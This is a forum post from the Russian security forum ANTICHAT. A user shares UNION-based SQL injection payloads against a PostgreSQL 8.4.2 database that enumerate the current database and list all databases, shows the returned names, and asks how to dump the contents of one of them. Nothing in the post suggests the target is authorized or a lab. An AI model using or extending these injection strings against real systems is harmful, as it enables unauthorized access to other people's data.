HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.06.2012, 03:13
Cnekmp
Новичок
Регистрация: 19.02.2006
Сообщений: 16
С нами: 10643155

Репутация: 0
По умолчанию

Версия: PostgreSQL 8.4.2

Выполняю запрос:

Код HTML:
-' union select null,null,null,null,null,current_database()--
Ответ:

somedatadb

Второй запрос:

Код HTML:
-' union select null,null,null,null,null,datname FROM pg_database--
Ответ:

db1

db2

db3

Вопрос: Как можно смодулировать запрос с учетом предыдущего примера запроса, чтобы посмотреть содержимое db2. (пользователь имеет доступ на просмотр)

Пробывал

Код HTML:
-' union select null,null,null,null,null,table_name FROM db2--
но не работает. Может я что-то делаю не правильно?
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.